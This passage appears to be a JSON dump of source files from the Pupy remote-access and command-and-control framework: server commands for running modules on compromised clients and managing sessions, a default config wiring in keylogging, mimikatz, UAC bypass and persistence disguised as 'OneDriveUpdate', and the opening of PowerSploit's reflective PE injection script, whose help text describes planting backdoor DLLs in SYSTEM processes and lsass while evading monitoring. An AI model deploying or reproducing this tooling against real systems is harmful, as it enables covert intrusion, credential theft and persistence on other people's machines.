    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Error, Success, Table\n\nusage  = \"Manage Jobs\"\nparser = PupyArgumentParser(prog='jobs', description=usage)\n\nkilljob = parser.add_mutually_exclusive_group()\nkilljob.add_argument('-k', '--kill', metavar='<job_id>', help=\"print the job current output before killing it\")\nkilljob.add_argument('-K', '--kill-no-output', metavar='<job_id>', help=\"kill job without printing output\")\nparser.add_argument('-l', '--list', action='store_true', help=\"list jobs\")\nparser.add_argument('-p', '--print-output', metavar='<job_id>', help=\"print a job output\")\n\ndef do(server, handler, config, modargs):\n    if modargs.kill:\n        j = server.get_job(modargs.kill)\n        handler.summary(j)\n        finished = j.is_finished()\n\n        if finished:\n            server.del_job(j.jid)\n            handler.display(Success('Job closed'))\n\n        else:\n            j.interrupt()\n            j.stop()\n            handler.display(Success('Job killed'))\n\n        server.del_job(modargs.kill)\n        del j\n\n    elif modargs.kill_no_output:\n        j = server.get_job(modargs.kill_no_output)\n        finished = j.is_finished()\n        if finished:\n            server.del_job(j.jid)\n            handler.display('Job closed')\n        else:\n            j.interrupt()\n            j.stop()\n            handler.display(Success('Job killed'))\n        server.del_job(modargs.kill_no_output)\n        del j\n\n    elif modargs.print_output:\n        j = server.get_job(modargs.print_output)\n        handler.summary(j)\n\n    elif modargs.list:\n        if server.jobs:\n            dictable = []\n\n            for jid,job in server.jobs.items():\n                dictable.append({\n                    'id':jid,\n                    'job':str(job),\n                    'status': 'finished' if job.is_finished() else 'running',\n                    'clients': len(job)\n                })\n\n            handler.display(Table(dictable, ['id', 'job', 'clients', 'status']))\n        else:\n            handler.display(Error('No jobs are currently running'))\n"
  },
  {
    "path": "pupy/commands/listen.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Success, Color, Table\n\nfrom pupy.network.conf import transports\n\nusage = 'start/stop/show current listeners'\nparser = PupyArgumentParser(prog='listen', description=usage)\ngroup = parser.add_mutually_exclusive_group()\ngroup.add_argument('-l', '--list', action='store_true', help='show current listeners')\ngroup.add_argument('-L', '--list-transports', action='store_true', help='show available transports')\ngroup.add_argument(\n    '-a', '--add', nargs='+',\n    metavar=('TRANSPORT', 'TRANSPORT_ARG1'), help='start listener')\ngroup.add_argument(\n    '-A', '--add-no-pproxy', nargs='+',\n    metavar=('TRANSPORT', 'TRANSPORT_ARG1'), help='start listener (ignore pproxy)')\ngroup.add_argument(\n    '-r', '--remove', metavar='TRANSPORT',\n    type=str, help='stop listener')\n\n\ndef do(server, handler, config, args):\n    if args.add:\n        name, args = args.add[0], args.add[1:]\n        server.add_listener(name, ' '.join(args), motd=False)\n    elif args.add_no_pproxy:\n        name, args = args.add_no_pproxy[0], args.add_no_pproxy[1:]\n        server.add_listener(\n            name, ' '.join(args), motd=False, ignore_pproxy=True)\n    elif args.remove:\n        server.remove_listener(args.remove)\n\n    elif args.list_transports:\n\n        table = []\n\n        for name, transport in transports.items():\n            color = None\n            listener = None\n            info = transport.info\n\n            if name in server.listeners:\n                color = 'lightgreen'\n                listener = Color(str(server.listeners[name]), color)\n                name = Color(name, color)\n                info = Color(info, color)\n\n            table.append({\n                'NAME': name,\n                'INFO': info,\n                'ACTIVE': listener\n            })\n\n        handler.display(Table(table, ['NAME', 'INFO', 'ACTIVE']))\n\n    else:\n        for listener in server.listeners.values():\n            handler.display(Success(listener))\n"
  },
  {
    "path": "pupy/commands/logging.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport logging\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Success, Color, Table\n\nlevels = ['DEBUG', 'INFO', 'WARNING', 'ERROR']\nlevels += [\n    x.lower() for x in levels\n]\n\nusage  = \"Show/set log level\"\nparser = PupyArgumentParser(prog='logging', description='change pupysh logging level')\nparser.add_argument(\n    '-L', '--logger', help='Apply log level only for specified logger',\n    choices=tuple(logging.Logger.manager.loggerDict)\n)\nparser.add_argument('-s', '--set-level', choices=levels, help='Set log level')\nparser.add_argument('-g', '--get-level', action='store_true', help='Get log level')\nparser.add_argument('level', choices=levels, nargs='?', help='Set log level')\n\n\ndef levelToString(level):\n    return {\n        logging.ERROR: 'ERROR',\n        logging.WARNING: 'WARNING',\n        logging.INFO: 'INFO',\n        logging.DEBUG: 'DEBUG'\n    }.get(level)\n\n\ndef levelToColor(level):\n    return {\n        logging.ERROR: 'grey',\n        logging.WARNING: 'white',\n        logging.INFO: 'yellow',\n        logging.DEBUG: 'red'\n    }.get(level)\n\n\ndef do(server, handler, config, args):\n    logger = logging.getLogger(args.logger)\n    if args.set_level or args.level:\n        level = args.set_level or args.level\n        logger.setLevel(level.upper())\n        handler.display(Success('Log level: {}: {}'.format(logger.name, level)))\n    elif args.get_level:\n        handler.display(Success('Log level: {}'.format(\n            levelToString(logger.getEffectiveLevel()))))\n    else:\n        objects = []\n        for name, logger in logging.Logger.manager.loggerDict.items():\n            if not hasattr(logger, 'getEffectiveLevel'):\n                continue\n\n            level = logger.getEffectiveLevel()\n            color = levelToColor(level)\n\n            objects.append({\n                'LOGGER': Color(name, color),\n                'LEVEL': Color(levelToString(level), color)\n            })\n\n        objects = sorted(objects, key=lambda x: x['LOGGER'].data)\n\n        handler.display(Table(objects, ['LOGGER', 'LEVEL']))\n"
  },
  {
    "path": "pupy/commands/python.py",
    "content": "# -*- encoding: utf-8 -*-\n\n# TODO: Fix interaction\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\ntry:\n    import __builtin__ as builtins\nexcept ImportError:\n    import builtins\n\nimport readline\nimport code\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PythonCompleter import PythonCompleter\nfrom pupy.pupylib.PupyOutput import Error\n\nusage = 'Start the local python interpreter (for debugging purposes)'\nparser = PupyArgumentParser(prog='python', description=usage)\n\ndef do(server, handler, config, args):\n    orig_exit = builtins.exit\n    orig_quit = builtins.quit\n\n    def disabled_exit(*args, **kwargs):\n        handler.display(Error('exit() disabled ! use ctrl+D to exit the python shell'))\n\n    builtins.exit = disabled_exit\n    builtins.quit = disabled_exit\n    oldcompleter = readline.get_completer()\n\n    try:\n        local_ns = {\n            'server': server,\n            'handler': handler,\n            'config': config,\n        }\n\n        readline.set_completer(PythonCompleter(local_ns=local_ns).complete)\n        readline.parse_and_bind('tab: complete')\n        code.interact(local=local_ns)\n\n    except Exception as e:\n        handler.display(Error(e))\n\n    finally:\n        readline.set_completer(oldcompleter)\n        readline.parse_and_bind('tab: complete')\n        builtins.exit = orig_exit\n        builtins.quit = orig_quit\n"
  },
  {
    "path": "pupy/commands/restart.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Success\n\nimport os\n\nfrom io import open\n\nusage  = 'Restart pupysh'\nparser = PupyArgumentParser(prog='restart', description=usage)\n\n\ndef do(server, handler, config, args):\n    argv0 = os.readlink('/proc/self/exe')\n    argv = [\n        x for x in open('/proc/self/cmdline').read().split('\\x00') if x\n    ]\n\n    if handler.dnscnc:\n        handler.display_srvinfo(Success('Stopping DNSCNC'))\n        handler.dnscnc.stop()\n\n    server.stop()\n    handler.display_srvinfo(Success('Restarting'))\n    os.execv(argv0, argv)\n"
  },
  {
    "path": "pupy/commands/run.py",
    "content": "# -*- encoding: utf-8 -*-\n\n# TODO: Fix stream/interaction\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\n\nimport sys\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser, PupyModuleUsageError\nfrom pupy.pupylib.PupyCompleter import (\n    module_name_completer, module_args_completer, path_completer\n)\n\nfrom pupy.pupylib.PupyOutput import Error, Line, Color\nfrom pupy.pupylib.PupyJob import PupyJob\n\nfrom argparse import REMAINDER\n\nif sys.version_info.major > 2:\n    basestring = str\n\nusage = 'Run a module on one or multiple clients'\nparser = PupyArgumentParser(prog='run', description=usage)\n\nparser.add_argument('-1', '--once', default=False, action='store_true', help='Unload new deps after usage')\nparser.add_argument('-o', '--output', help='save command output to file.'\n                        '%%t - timestamp, %%h - host, %%m - mac, '\n                        '%%c - client shortname, %%M - module name, '\n                        '%%p - platform, %%u - user, %%a - ip address',\n                        completer=path_completer)\nparser.add_argument('-p', '--pipe', help='Pass output via pipe')\nparser.add_argument(\n    '-f', '--filter', metavar='<client filter>',\n    help='filter to a subset of all clients. All fields available in the \"info\" module can be used. '\n    'example: run get_info -f \\'platform:win release:7 os_arch:64\\'')\nparser.add_argument('-b', '--background', action='store_true', help='run in background')\nparser.add_argument('module', metavar='<module>', help='module', completer=module_name_completer)\nparser.add_argument(\n    'arguments',\n    nargs=REMAINDER,\n    default='',\n    metavar='<arguments>',\n    help='module arguments',\n    completer=module_args_completer)\n\ndef do(server, handler, config, modargs):\n    pj = None\n    args = modargs.arguments\n    clients_filter = modargs.filter or handler.default_filter\n\n    try:\n        module = server.get_module(\n            server.get_module_name_from_category(modargs.module))\n\n    except PupyModuleUsageError as e:\n        prog, message, usage = e.args\n        handler.display(Line(Error(prog+':'), Color(message, 'lightred')))\n        handler.display(usage)\n\n    except Exception as e:\n        handler.display(Error(e, modargs.module))\n        return\n\n    if not module:\n        handler.display(Error('Unknown module', modargs.module))\n        return\n\n    clients = server.get_clients(clients_filter)\n    if not clients:\n        if not server.clients:\n            handler.display(Error('No clients currently connected'))\n        else:\n            handler.display(Error('No clients match this search!'))\n        return\n\n    modjobs = [\n        job for job in server.jobs.values() \\\n               if job.module.get_name() == module.get_name() and \\\n               any(instance in clients for instance in job.clients)\n    ]\n\n    pj = None\n    unique = False\n\n    if module.daemon and module.unique_instance and modjobs:\n        pj = modjobs[0]\n        unique = True\n    else:\n        jobargs = module.parse(args)\n\n        pj = PupyJob(\n            server,\n            module, '{} {}'.format(modargs.module, ' '.join(args)),\n            jobargs\n        )\n\n        ios = handler.acquire_io(\n            module.io, len(clients),\n            modargs.background or module.daemon,\n            modargs.pipe\n        )\n\n        for io, client in zip(ios, clients):\n\n            io.set_title(\n                client if isinstance(client, basestring) else str(client)\n            )\n\n            instance = module(client, pj, io, log=modargs.output)\n            pj.add_module(instance)\n\n    try:\n        pj.start(once=modargs.once)\n\n    except Exception as e:\n        handler.display(Error('Module launch failed: {}'.format(e)))\n        pj.stop()\n\n    handler.process(\n        pj,\n        background=modargs.background,\n        daemon=module.daemon,\n        unique=unique\n    )\n"
  },
  {
    "path": "pupy/commands/sessions.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Color, Success, Table\n\nusage  = 'list/interact with established sessions'\nparser = PupyArgumentParser(prog='sessions', description=usage)\nparser.add_argument('-i', '--interact', metavar='<filter>',\n                    help=\"change the default --filter value for other commands\")\nparser.add_argument('-g', '--global-reset', action='store_true',\n                    help=\"reset --interact to the default global behavior\")\nparser.add_argument('-k', dest='kill', metavar='<id>', type=int, help='Kill the selected session')\nparser.add_argument('-K', dest='killall', action='store_true', help='Kill all sessions')\nparser.add_argument('-d', dest='drop', metavar='<id>', type=int,\n                    help='Drop the connection (abruptly close the socket)')\nparser.add_argument('-D', dest='dropall', action='store_true', help='Drop all connections')\n\n\ndef do(server, handler, config, modargs):\n    if modargs.global_reset:\n        handler.default_filter = None\n        handler.display(Success('Default filter reset to global'))\n\n    elif modargs.interact:\n        handler.default_filter = modargs.interact\n        handler.display(Success('Default filter set to {}'.format(\n            handler.default_filter)))\n\n    elif modargs.kill:\n        selected_client = server.get_clients(modargs.kill)\n        if selected_client:\n            try:\n                selected_client[0].conn.exit()\n            except Exception:\n                pass\n\n    elif modargs.drop:\n        selected_client = server.get_clients(modargs.drop)\n        if selected_client:\n            try:\n                selected_client[0].conn._conn.close()\n            except Exception:\n                pass\n\n    elif modargs.dropall:\n        clients = list(server.get_clients_list())\n        for client in clients:\n            try:\n                client.conn._conn.close()\n            except Exception:\n                pass\n\n    elif modargs.killall:\n        clients = server.get_clients_list()\n        descriptions = [\n            x.desc for x in clients\n        ]\n\n        for description in descriptions:\n            try:\n                server.get_clients(description['id'])[0].conn.exit()\n            except Exception:\n                pass\n    else:\n        client_list = server.get_clients_list()\n\n        if handler.default_filter:\n            filtered_clients = server.get_clients(handler.default_filter)\n        else:\n            filtered_clients = client_list\n\n        columns = [\n            'id', 'user', 'hostname', 'platform', 'release', 'os_arch',\n            'proc_arch', 'intgty_lvl', 'address', 'tags'\n        ]\n\n        content = []\n\n        for client in client_list:\n            color = 'white' if client in filtered_clients else 'darkgrey'\n\n            data = {\n                k:Color(v, color)\n                for k,v in client.desc.items() if k in columns\n            }\n\n            data.update({\n                'tags': Color(config.tags(client.node()), color)\n            })\n\n            content.append(data)\n\n        handler.display(Table(content, columns))\n"
  },
  {
    "path": "pupy/commands/tag.py",
    "content": "# -*- encoding: utf-8 -*-\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\nfrom pupy.pupylib.PupyModule import PupyArgumentParser\nfrom pupy.pupylib.PupyOutput import Table\n\nusage  = \"Assign tag to current session\"\n\nparser = PupyArgumentParser(prog='tag', description=usage)\nparser.add_argument('-a', '--add', metavar='tag', nargs='+', help='Add tags')\nparser.add_argument('-r', '--remove', metavar='tag', nargs='+', help='Remove tags')\nparser.add_argument('-w', '--write-project', action='store_true',\n                        default=False, help='save config to project folder')\nparser.add_argument('-W', '--write-user', action='store_true',\n                        default=False, help='save config to user folder')\n\ndef do(server, handler, config, modargs):\n    data = []\n\n    clients = server.get_clients(handler.default_filter)\n\n    if not clients:\n        return\n\n    for client in clients:\n        tags = config.tags(client.node())\n\n        if modargs.remove:\n            tags.remove(*modargs.remove)\n\n        if modargs.add:\n            tags.add(*modargs.add)\n\n        data.append({\n            'ID': client.node(),\n            'TAGS': tags\n        })\n\n    config.save(\n        project=modargs.write_project,\n        user=modargs.write_user\n    )\n\n    handler.display(Table(data))\n"
  },
  {
    "path": "pupy/conf/imports_done.py",
    "content": "from collections import OrderedDict\nfrom Crypto.Cipher import AES\nfrom Crypto.Hash import HMAC\nfrom Crypto.Hash import SHA256\nfrom Crypto.Hash import SHA256, HMAC\nfrom Crypto import Random\nfrom Crypto.Protocol.KDF import PBKDF2\nfrom Crypto.Util import Counter\nfrom cStringIO import StringIO\nfrom itertools import izip, starmap\nfrom operator import xor\nfrom StringIO import StringIO\nfrom struct import Struct\nimport argparse\nimport base64\nimport binascii\nimport code\nimport collections\nimport contextlib\nimport copy\nimport ConfigParser\nimport cPickle\nimport Crypto.Cipher\nimport Crypto.Cipher.AES\nimport Crypto.Hash.HMAC\nimport Crypto.Hash.SHA256\nimport Crypto.Util.Counter\nimport datetime\nimport errno, stat\nimport fractions\nimport __future__\nimport getpass\nimport glob\nimport hashlib\nimport hmac\nimport imp\nimport importlib\nimport inspect\nimport json\nimport logging\nimport math\nimport multiprocessing\nimport new\nimport os\nimport pkgutil\nimport platform\nimport Queue\nimport random\nimport re\nimport rsa\nimport shlex\nimport shutil\nimport site\nimport socket\nimport SocketServer\nimport ssl\nimport string\nimport StringIO\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport threading\nimport time\nimport traceback\nimport urllib\nimport urllib2\nimport uuid\nimport yaml\nimport zlib\n\nif os.name == 'nt':\n    import ctypes\n    import ctypes.wintypes\n\nif os.name == 'posix':\n    import pty\n"
  },
  {
    "path": "pupy/conf/pupy.conf.default",
    "content": "[pupyd]\n#listen on all interfaces by default\n# address = 192.168.0.1\n\n## Default external address for all transports\n# external = 1.2.3.4\n\ntransport = ssl\nipv6 = true\nlogs = false\n\n# Enable/disable internal web server\n# Section [webserver]\n# This is NOT http wrapper (http)\nwebserver = false\n\n#Multiple listeners are allowed. Example\n#listen = ssl,kc4,ws\nlisten = ssl\n\n#igd=True allow pupy to make IGD/UPNP requests to get you external IP and\n#    add mappings to your local machine from outside\n#If enabled, pupy will implicitly expect that pupysh sits behind NAT\n#igd = http://ip[:port] will disable autodetect\nigd = false\n\n#httpd=true wraps your transport in a HTTP transport.\nhttpd = false\n\n#dnscnc = localhost:5454 starts the DNS cnc listener on the port 5454.\ndnscnc = false\nrecursor = false\n\n# allow requests to services like ifconfig.co to automatically retrieve public IP\n# you should enable this if you planning to use IGD/UPNP\nallow_requests_to_external_services = false\n\nuse_gnome_keyring=false\n\nping = 0\nping_timeout = 10\n\n# Enable modules which are marked as QA_DANGEROUS\n# These modules may cause the pupy hang or require manual changes\nenable_dangerous_modules = false\n\n# Prohibit communication of unregistered cid <-> node pairs\nwhitelist = false\n# ... only if cid found in config ([cids])\n# format:\n# cid = node1,node2,node3\nallow_by_default = true\n\n[dnscnc]\n# Allow DNSCNC v1 (legacy)\nallow_v1 = true\n# Prohibit communication of unregistered cid <-> node pairs\nwhitelist = false\n# ... only if cid found in config ([cids])\n# format:\n# cid = node1,node2,node3\nallow_by_default = true\n\n# Whitelist (if enabled)\n[cids]\n\n[listeners]\n# Default ports and args\n# Ensure ports are different for all enabled listeners\n# Or remove listener(s) from pupyd.listen parameter\nssl = 443=8443\nobfs3 = 9090\nrsa = 9091\nec4 = 80=1234\nkc4 = 123=1234\ntcp_cleartext = 80=1234\nudp_cleartext = 123=1234\nws = 80=8081\nhttp = 80=8080\necm = 1235\n\n[ssl]\nclient_cert_required = true\n\n[httpd]\nlog = true\nsecret = false\n\n[webserver]\n# Serve payloads via tornado web server\nlisten = 0.0.0.0:9000\n# SSL Certificates if any\n# cert = /path/to/cert\n# key = /path/to/key\nlog = true\n# If you want static webroot uri uncomment this variable\nstatic_webroot_uri = \n# Set this to true if you want to keep published payloads\npreserve_payloads = false\n# Set this to the comma delimited list of ips/domain names\n# which allowed to connect to \"local ips\"\n# local_ips = localhost\n\n[gen]\nformat = client\nos = windows\narch = x86\nexternal = false\n#The command used for packing the 'client' output format (incompatible with py, pyinst, py_oneliner, ps1, ps1_oneliner, rubber_ducky for example)\npacker =\nmcs_sdk = 2\n#launcher =\n#launcher_args = \n\n[cmdline]\ndisplay_banner = yes\ncolors = yes\n#If 'shadow_screen = no', this can fix some scrollback issues in some terminals (e.g. Terminator)\nshadow_screen = no\nhistory_size = 10000\n\n[paths]\nprefer_workdir = no\nhistory = .pupy_history\ndownloads = data/downloads/%c\nmemstrings = data/memstrings/%c\nsearches = data/searches/%c\nscreenshots = data/screenshots/%c/%t\npcaps = data/pcaps/%c/%t.pcap\nlogs = data/logs/%c/%t-%M\ncreds = data/creds\ncrypto = crypto\nwwwroot = data/wwwroot\nwebstatic = webstatic\nrecords = data/%c\nkeystrokes = data/keylogger/%c/%t.log\nmouseshots = data/mouselogger/%c/%w-%t.png\npayload_output = output\nplugins = data/plugindata\nad = data/ad/%c/%r/%n.json\nodbc = data/odbc/%c/%d.txt\n\n[on_connect]\n\n## FORMAT:\n## FILTER = ACTION\n## FILTER: [SPI|NODE|*...|any...|client_filter]\n##   Use '*' and 'any' prefix to apply action to all clients\n##   Use SPI or NODE to apply action only to clients with same SPI/NODE id\n##   Other values will be used as client_filter argument (like run -f)\n## ACTION: [!...|include:section_name|python:trigger_name|module args|]\n##   Use '!' prefix to execute shell command\n##   Use 'include:' prefix to include commands with specified section name\n##   Use 'python:' prefix to execute trigger (from triggers/ folder)\n\n## Example: include actions in section on_connect_notifications\n# any = include:on_connect_notifications\n# any = python:example_trigger\n\n[on_connect_notifications]\nany1 = !notify-send \"New session: {hostname} / {os_name}\"\n\n[default_viewers]\nimage_viewer = eog\nsound_player = totem\nbrowser = firefox\nxdg_open = xdg-open\n\n[mimikatz]\n#these are kali 2.0 default path\nexe_Win32=/usr/share/mimikatz/Win32/mimikatz.exe\nexe_x64=/usr/share/mimikatz/x64/mimikatz.exe\n\n[bypassuac]\n# Method ids taken from https://github.com/rootm0s/WinPwnage\npreferred_methods = 1,2,3,4,8,9,10\n\n[persistence]\n# Method ids taken from https://github.com/rootm0s/WinPwnage\npreferred_methods = 2,8,3,9\nname = OneDriveUpdate\n\n[aliases]\ninfo = get_info\npyexec = pyexec\nexec = shell_exec\nps = ps\nmigrate = migrate\nshell=interactive_shell\nkill = process_kill\n#tasklist = shell_exec 'tasklist /v'\nmount = drives\ndu = download -S\nvi = edit\nvim = edit\n\n\n[rubber_ducky]\n#path to the encoder.jar file of Rubber-Ducky project (see https://github.com/hak5darren/USB-Rubber-Ducky/blob/master/Encoder/encoder.jar)\nencoder_path = TO_FILL\n#Path to the keyboard layout for generating inject.bin file (see https://github.com/hak5darren/USB-Rubber-Ducky/tree/master/Encoder/resources)\ndefault_keyboard_layout_path = TO_FILL\n"
  },
  {
    "path": "pupy/external/PowerSploit/CodeExecution/Invoke-ReflectivePEInjection.ps1",
    "content": "function Invoke-ReflectivePEInjection\n{\n<#\n.SYNOPSIS\n\nThis script has two modes. It can reflectively load a DLL/EXE in to the PowerShell process,\nor it can reflectively load a DLL in to a remote process. These modes have different parameters and constraints,\nplease lead the Notes section (GENERAL NOTES) for information on how to use them.\n\n1.)Reflectively loads a DLL or EXE in to memory of the Powershell process.\nBecause the DLL/EXE is loaded reflectively, it is not displayed when tools are used to list the DLLs of a running process.\n\nThis tool can be run on remote servers by supplying a local Windows PE file (DLL/EXE) to load in to memory on the remote system,\nthis will load and execute the DLL/EXE in to memory without writing any files to disk.\n\n2.) Reflectively load a DLL in to memory of a remote process.\nAs mentioned above, the DLL being reflectively loaded won't be displayed when tools are used to list DLLs of the running remote process.\n\nThis is probably most useful for injecting backdoors in SYSTEM processes in Session0. Currently, you cannot retrieve output\nfrom the DLL. The script doesn't wait for the DLL to complete execution, and doesn't make any effort to cleanup memory in the\nremote process.\n\nPowerSploit Function: Invoke-ReflectivePEInjection  \nAuthor: Joe Bialek, Twitter: @JosephBialek  \nCode review and modifications: Matt Graeber, Twitter: @mattifestation  \nLicense: BSD 3-Clause  \nRequired Dependencies: None  \nOptional Dependencies: None  \n\n.DESCRIPTION\n\nReflectively loads a Windows PE file (DLL/EXE) in to the powershell process, or reflectively injects a DLL in to a remote process.\n\n.PARAMETER PEBytes\n\nA byte array containing a DLL/EXE to load and execute.\n\n.PARAMETER ComputerName\n\nOptional, an array of computernames to run the script on.\n\n.PARAMETER FuncReturnType\n\nOptional, the return type of the function being called in the DLL. Default: Void\n    Options: String, WString, Void. See notes for more information.\n    IMPORTANT: For DLLs being loaded remotely, only Void is supported.\n\n.PARAMETER ExeArgs\n\nOptional, arguments to pass to the executable being reflectively loaded.\n\n.PARAMETER ProcName\n\nOptional, the name of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.\n\n.PARAMETER ProcId\n\nOptional, the process ID of the remote process to inject the DLL in to. If not injecting in to remote process, ignore this.\n\n.PARAMETER ForceASLR\n\nOptional, will force the use of ASLR on the PE being loaded even if the PE indicates it doesn't support ASLR. Some PE's will work with ASLR even\n    if the compiler flags don't indicate they support it. Other PE's will simply crash. Make sure to test this prior to using. Has no effect when\n    loading in to a remote process.\n\n.PARAMETER DoNotZeroMZ\n\nOptional, will not wipe the MZ from the first two bytes of the PE. This is to be used primarily for testing purposes and to enable loading the same PE with Invoke-ReflectivePEInjection more than once.\n\n.EXAMPLE\n\nLoad DemoDLL and run the exported function WStringFunc on Target.local, print the wchar_t* returned by WStringFunc().\n$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')\nInvoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName Target.local\n\n.EXAMPLE\n\nLoad DemoDLL and run the exported function WStringFunc on all computers in the file targetlist.txt. Print\n    the wchar_t* returned by WStringFunc() from all the computers.\n$PEBytes = [IO.File]::ReadAllBytes('DemoDLL.dll')\nInvoke-ReflectivePEInjection -PEBytes $PEBytes -FuncReturnType WString -ComputerName (Get-Content targetlist.txt)\n\n.EXAMPLE\n\nLoad DemoEXE and run it locally.\n$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')\nInvoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs \"Arg1 Arg2 Arg3 Arg4\"\n\n.EXAMPLE\n\nLoad DemoEXE and run it locally. Forces ASLR on for the EXE.\n$PEBytes = [IO.File]::ReadAllBytes('DemoEXE.exe')\nInvoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs \"Arg1 Arg2 Arg3 Arg4\" -ForceASLR\n\n.EXAMPLE\n\nRefectively load DemoDLL_RemoteProcess.dll in to the lsass process on a remote computer.\n$PEBytes = [IO.File]::ReadAllBytes('DemoDLL_RemoteProcess.dll')\nInvoke-ReflectivePEInjection -PEBytes $PEBytes -ProcName lsass -ComputerName Target.Local\n\n.NOTES\nGENERAL NOTES:\nThe script has 3 basic sets of functionality:\n1.) Reflectively load a DLL in to the PowerShell process\n    -Can return DLL output to user when run remotely or locally.\n    -Cleans up memory in the PS process once the DLL finishes executing.\n    -Great for running pentest tools on remote computers without triggering process monitoring alerts.\n    -By default, takes 3 function names, see below (DLL LOADING NOTES) for more info.\n2.) Reflectively load an EXE in to the PowerShell process.\n    -Can NOT return EXE output to user when run remotely. If remote output is needed, you must use a DLL. CAN return EXE output if run locally.\n    -Cleans up memory in the PS process once the DLL finishes executing.\n    -Great for running existing pentest tools which are EXE's without triggering process monitoring alerts.\n3.) Reflectively inject a DLL in to a remote process.\n    -Can NOT return DLL output to the user when run remotely OR locally.\n    -Does NOT clean up memory in the remote process if/when DLL finishes execution.\n    -Great for planting backdoor on a system by injecting backdoor DLL in to another processes memory.\n    -Expects the DLL to have this function: void VoidFunc(). This is the function that will be called after the DLL is loaded.\n\nDLL LOADING NOTES:\n\nPowerShell does not capture an applications output if it is output using stdout, which is how Windows console apps output.\nIf you need to get back the output from the PE file you are loading on remote computers, you must compile the PE file as a DLL, and have the DLL\nreturn a char* or wchar_t*, which PowerShell can take and read the output from. Anything output from stdout which is run using powershell\nremoting will not be returned to you. If you just run the PowerShell script locally, you WILL be able to see the stdout output from\napplications because it will just appear in the console window. The limitation only applies when using PowerShell remoting.\n\nFor DLL Loading:\nOnce this script loads the DLL, it calls a function in the DLL. There is a section near the bottom labeled \"YOUR CODE GOES HERE\"\nI recommend your DLL take no parameters. I have prewritten code to handle functions which take no parameters are return\nthe following types: char*, wchar_t*, and void. If the function returns char* or wchar_t* the script will output the\nreturned data. The FuncReturnType parameter can be used to specify which return type to use. The mapping is as follows:\nwchar_t*   : FuncReturnType = WString\nchar*      : FuncReturnType = String\nvoid       : Default, don't supply a FuncReturnType\n\nFor the whcar_t* and char_t* options to work, you must allocate the string to the heap. Don't simply convert a string\nusing string.c_str() because it will be allocaed on the stack and be destroyed when the DLL returns.\n\nThe function name expected in the DLL for the prewritten FuncReturnType's is as follows:\nWString    : WStringFunc\nString     : StringFunc\nVoid       : VoidFunc\n\nThese function names ARE case sensitive. To create an exported DLL function for the wstring type, the function would\nbe declared as follows:\nextern \"C\" __declspec( dllexport ) wchar_t* WStringFunc()\n\n\nIf you want to use a DLL which returns a different data type, or which takes parameters, you will need to modify\nthis script to accomodate this. You can find the code to modify in the section labeled \"YOUR CODE GOES HERE\".\n\nFind a DemoDLL at: https://github.com/clymb3r/PowerShell/tree/master/Invoke-ReflectiveDllInjection\n\n.LINK\n\nhttp://clymb3r.wordpress.com/2013/04/06/reflective-dll-injection-with-powershell/\n\nBlog on modifying mimikatz for reflective loading: http://clymb3r.wordpress.com/2013/04/09/modifying-mimikatz-to-be-loaded-using-invoke-reflectivedllinjection-ps1/\nBlog on using this script as a backdoor with SQL server: http://www.casaba.com/blog/\n#>\n\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseApprovedVerbs', '')]\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseSingularNouns', '')]\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]\n[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSPossibleIncorrectComparisonWithNull', '')]\n[CmdletBinding()]\nParam(\n    [Parameter(Position = 0, Mandatory = $true)]\n    [ValidateNotNullOrEmpty()]\n    [Byte[]]\n    $PEBytes,\n\n    [Parameter(Position = 1)]\n    [String[]]\n    $ComputerName,\n\n    [Parameter(Position = 2)]\n    [ValidateSet( 'WString', 'String', 'Void' )]\n    [String]\n    $FuncReturnType = 'Void',\n\n    [Parameter(Position = 3)]\n    [String]\n    $ExeArgs,\n\n    [Parameter(Position = 4)]\n    [Int32]\n    $ProcId,\n\n    [Parameter(Position = 5)]\n    [String]\n    $ProcName,\n\n    [Switch]\n    $ForceASLR,\n\n    [Switch]\n    $DoNotZeroMZ\n)\n\nSet-StrictMode -Version 2\n\n\n$RemoteScriptBlock = {\n    [CmdletBinding()]\n    Param(\n        [Parameter(Position = 0, Mandatory = $true)]\n        [Byte[]]\n        $PEBytes,\n\n        [Parameter(Position = 1, Mandatory = $true)]\n        [String]\n        $FuncReturnType,\n\n        [Parameter(Position = 2, Mandatory = $true)]\n        [Int32]\n        $ProcId,\n\n        [Parameter(Position = 3, Mandatory = $true)]\n        [String]\n        